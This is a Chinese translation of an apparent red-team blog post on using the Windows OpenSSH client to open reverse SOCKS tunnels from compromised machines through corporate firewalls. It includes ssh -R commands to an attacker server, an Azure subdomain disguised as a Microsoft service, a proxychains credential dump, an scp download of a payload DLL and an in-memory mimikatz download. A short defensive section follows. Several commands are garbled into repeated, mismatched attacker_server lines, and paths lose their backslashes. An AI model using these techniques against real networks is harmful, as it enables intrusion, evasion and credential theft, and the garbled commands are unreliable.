SSH 隧道突破企业防火墙 - 对最古老的 LOLBIN 之一的更新 - 新鲜讯息

在我学习网络黑客的早期，SSH 隧道是我学到的第一批隧道技术之一。我仍然记得尝试反复解码我的笔记和图表，了解使用 -L 和 -R 标志进行单端口转发的相当繁琐的语法，当时这被教导为“这样做的方法”。如果你的立足点（幸运的是）是一台 Linux 服务器，那么你就有幸使用 -D 标志在立足点上启动 SOCKS 代理，通过代理链访问网络。

几年后，在我们的日常工作中，无论是网络渗透测试还是对手模拟，我发现我和我的同事在实际操作中使用老式的 SSH 隧道的情况不仅没有减少，反而增加了。

引用 Andy Gill @ZephrFish几周前在 SteelCon 2024 上所说的话：

虽然我可能没有 Andy 那样强烈地感受到这一点，但这句话不无道理。好的隧道通常可以满足您从最终用户笔记本电脑执行的所有操作。然而，在 Google 上搜索“渗透测试中的 SSH 隧道”和“...在红队交战中”，会看到大多数顶级结果仍然描述了使用 -R 和 -L 打单端口大小的洞的“旧”方法，或使用 -D 进行本地动态 SOCKS，这实际上根本不是我们在交战中使用 SSH 的方式。最近 1-2 年内发布了几篇博客文章（链接如下），描述了使用反向动态代理的 SSH 隧道及其独特的旋转，因此我将尽可能避免重复的内容，并介绍有关 SSH 隧道的技巧和窍门，重点介绍如何穿越防火墙。

SSH 隧道当然不是我们通过隧道从客户端网络传出的主要或唯一方式（眨眼），但每当我陷入困境而其他方法都不起作用时，这个小工具就非常有用。

向最近的博客文章致敬，这些文章描述了类似的 SSH 隧道技术：

使用原生 SSH 和拆分隧道技术实现自给自足- 由 PTP 的 Joe Blogs 于 2024 年 3 月撰写，简要总结了该技术的基本形式
SSHishing – 滥用快捷方式文件和 Windows SSH 客户端进行初始访问– 由 Red Siege 的 Alex Reid 于 2024 年 4 月撰写，介绍了使用 Lnk 文件将 SSH 隧道命令转变为网络钓鱼负载的有趣方法
我们在家中拥有的 SOCKS – 由 TRUSTEDSEC 的 Esteban Rodriguez 于 2023 年 10 月撰写，详细介绍了在远程服务器上创建受限访问用户以实现更好的 Opsec

让我们直奔主题

OpenSSH 客户端几乎在所有安装了 2018 年初之后的 OS/Service Pack 的 Windows 机器上都原生可用，更具体地说是 Win10 v1709 和 Win Server v1803。（对于阅读本文的 Windows 系统管理员，您不必再使用 Putty 了！）

此外，2017 年的形势如此明朗，就在微软将 OpenSSH 移植到 Windows 之前，OpenSSH 项目实现了反向动态代理功能，有点晦涩难懂（如果你问我的话！）在 7.6 版中重用了 -R 标志。（这在 ChangeLog 中已经解释了 7 年，但还没有多少人谈论它，这表明 RTFM 确实经常获得回报。）

2024 年，企业笔记本电脑或工作站几乎普遍使用 Windows 10 或 11，这意味着在大多数渗透测试或对抗演出中，ssh 命令都位于客户端机器的 PATH 中，而无需我们安装或启用任何额外的东西。

而在 2024 年，许多企业防火墙仍然允许从工作站出站 SSH，或者以相对容易绕过的方式配置，并且蓝队通常不会监视 ssh 的执行，因为它是一个 LOLBIN。

突破企业防火墙的 3 个技巧

1.基本型：-R

在受感染的 Windows 或 Nix 机器上，使用二进制文件名称运行 SSH：

ssh -R PROXY_PORT user@attacker_server.com

或者使用完整路径，例如端口 8888

C:WindowsSystem32OpenSSHssh.exe -R 8888 user@attacker_server.com

在假定的违规行为中，我们有一个简单的技巧来检查是否允许出站 SSH，我将在下一节中详细说明。

这里我们假设您有一个 VPS，其静态 IP/DNS 记录指向互联网上的 VPS。如果您选择使用密码验证，请仅在您的客户端和您自己的出口 IP 上设置 IP 允许列表，以避免被暴力破解。然后在您的 VPS/攻击服务器上，照常设置 /etc/proxychains.conf。指定远程服务器的 proxychains.conf 使用 SOCKS5 将启用 UDP 的额外兼容性，从而通过隧道进行 DNS 查找：

socks5   127.0.0.1 8888

然后你就可以使用代理链在攻击机上运行命令了：

proxychains nmap -sT -F internal_target_ip
proxychains nxc smb internal_target_ip -u USER -p PASSWD --shares
proxychains secretsdump.py ... and so on

在 Red Siege 的SSHishing博客文章中，作者描述了不需要密码或密钥即可登录，加上 -o“StrictHostKeyChecking=no”标志来禁用“您确定要继续连接吗（是/否/指纹）”消息，以便该命令可以位于 Lnk 文件或恶意 Office 宏中，但我仍然对于不需要身份验证即可访问您的 C2 服务器有所保留（即使它是一个使用 /bin/false 作为默认 shell 的 limitaccess 用户）。

2. Azure 域/ASN 通过防火墙

Azure 域

客户端的防火墙完全没有阻止 SSH 的一个很好的迹象是，当客户端几乎肯定不会使用的 SSH 主机被允许时，例如：

ssh root@scanme.nmap.org
# if you get a prompt, you've struck gold!
# pls don't do anything abusive or malicious to scanme.nmap.org!

当然，它并不总是那么容易立即起作用，而且虽然没有假定的漏洞，但您没有使用 PowerShell 会话来检查客户端的防火墙的奢侈。那么，如果无法访问 Scanme 怎么办？我会尝试的第一件事是使用 Azure 上的 VPS。根本原因是 Windows 环境很可能位于 Active Directory 上，并且最有可能是混合的。客户端的堆栈很可能需要将 Microsoft 自己的 IP 列入允许列表，或者将 Azure 子域完全信任。

我要做的是从 Azure 启动一个 VM，然后从公共 IP 地址设置中为其提供一个 Azure 子域：公共 IP > 设置 > 配置 > DNS 名称标签（可选）-> 输入您想要的子域名。

ssh.exe -R 8888 user@innocent-looking-front.REGION.cloudapp.azure.com

msservicesupdate.uksouth.cloudapp.azure.com 等普通地址应该没问题。这在我们许多合作中已被证明是有效的。

ASN 来救援

域名在钓鱼电子邮件或 C2 回调方面的成功率往往更高，因为企业防火墙往往会阻止对原始非内部 IP 的请求。然而，Azure 域名前端（一些从业者使用 Azure CDN 前端）实际上也是微软自己所熟知的。也许客户端中的蓝队/系统管理员知道这一点，并阻止了对 *.region.cloudapp.azure.com 的出站访问，例如，因为他们知道这种技术并将自己的 DNS 主机名提供给他们的 Azure VM？

在这种情况下，即使子域被阻止，您仍然可以/应该尝试原始 IP，因为它位于 Microsoft 拥有的 ASN 上。我曾经遇到过使用原始 IP 成功的情况，所以当您绝望时绝对值得一试。IP 地址将位于 Microsoft 的 ASN 中，并且可能在某个地方有一个允许列表，为该范围开绿灯。

ssh.exe -R 8888 limiteduser@1.2.3.4(azure_vm_ip)

3. 备选出口端

有时，到互联网的出站端口 22（幸运或不幸）在客户端端点被阻止。但是，也有一个问题，并非所有企业防火墙都会检查底层协议/执行 SSL 剥离和深度数据包检查（所谓的应用层防火墙）。绝对值得一试在您的 VPS 上将 ssh 端口设置为非 22，然后重新启动 SSHD。端口 80、443、53 往往是实现此功能的良好候选者。我有时甚至看到允许出站 Windows / AD 端口，一些我意想不到的东西，例如 NETBIOS(139)、KERBEROS(88)、SMB(445)、LDAP(389)，但有时它是某些 Azure / Entra 交互所必需的。当然，经典的服务端口如 SMTP(25)、FTP(21) 等也是值得尝试的，但我个人对这些端口的运气不佳。

# edit /etc/ssh/sshd_config with your favorite text editor
Port 

# save and close 
# don't forget to allow inbound on this port from your IP on your cloud provider), then:
sudo systemctl restart sshd

（奖励）您还可以用它做什么？

除了通过可用的出站 SSH 连接运行攻击工具之外，还有以下几种用例：

输入有效载荷并输出数据：如果你可以通过 SSH 输出，那么输入有效载荷或通过 SCP 提取数据应该不成问题：

scp.exe [email protected].com:/home/user/totally_okay_payload.dll C:PublicAppDataversion.dll

（更多）使用 IEX 在内存中执行 OpSec 安全 powershell 脚本：如果您有一个好的 Amsi 绕过方法，ssh 是获取它以及其他 powershell 脚本的好方法，尤其是在 Invoke-WebRequest 受到严格审查的情况下。在野外观察到的调用脚本的常见方式是：

IEX (New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/invoke-mimikatz.ps1')

在受限的 PS 环境中，(New-Object) cmdlet 甚至无法工作，其次，此命令已被签名至死，因此在隐蔽工作中执行此命令可能不明智。但是，您可以在 ssh 进入主机时运行一个命令，格式如下：

C:WindowsSystem32OpenSSHssh.exe -R 8888 user@attacker_server.com0

本质上，你可以使用它来通过如下恶意脚本来绕过你的 AMSI（这也可以捆绑到 Lnk 文件或恶意宏中）：

C:WindowsSystem32OpenSSHssh.exe -R 8888 user@attacker_server.com1

如何确保这一点？

1.删除 SSH 客户端：建议非技术人员删除内置 SSH 客户端。可以先通过“设置”>“应用程序”>“可选功能”> 搜索“OpenSSH”并点击“卸载”然后重新启动来删除 SSH 客户端。但是它仍然在 System32 中。此后，从端点卸载 SSH 客户端尚未完成，如 PTP 博客文章中所述。要进一步删除二进制文件：

C:WindowsSystem32OpenSSHssh.exe -R 8888 user@attacker_server.com2

2.保护公司防火墙设置：即使 SSH 客户端不再存在于端点中，攻击者仍然可以将 LOLBin 版本（由 Microsoft 签名）移动到用户端点，或者从内部 Linux/Mac 机器进行操作。如果不需要，首要任务当然是阻止端口 22 上的出站 TCP 连接。我不是防火墙专家，但对于支持应用程序级操作的防火墙，应该在不适用于 SSH 的端口（443 等）上执行带有协议检查的 SSL 剥离，并阻止协议不匹配的连接。不幸的是，对于需要将 Microsoft ASN IP 或 Azure 子域列入 SSH 访问许可名单的客户，我可能没有什么好的建议。如果读者对此有好的想法，请务必告诉我！

3.监视正在调用的 SSH 二进制文件的用户端点：对于非技术人员来说，SSH 和 SCP 二进制文件根本没有被调用的理由。当调用 SSH.exe 或 SCP.exe 时，可以触发自定义警报（可选，也可以使用文件哈希匹配）。

总而言之，SSH.exe 自 2017 年底以来一直与 Windows 10、11 和 Windows Server 捆绑在一起，并由 Microsoft 签名。反向动态代理非常强大，有许多技巧可用于突破公司防火墙，为攻击工具获取可靠的隧道，以破坏整个 AD 域。建议防御者在非技术用户使用的端点上注意此二进制文件的调用，或完全卸载该功能。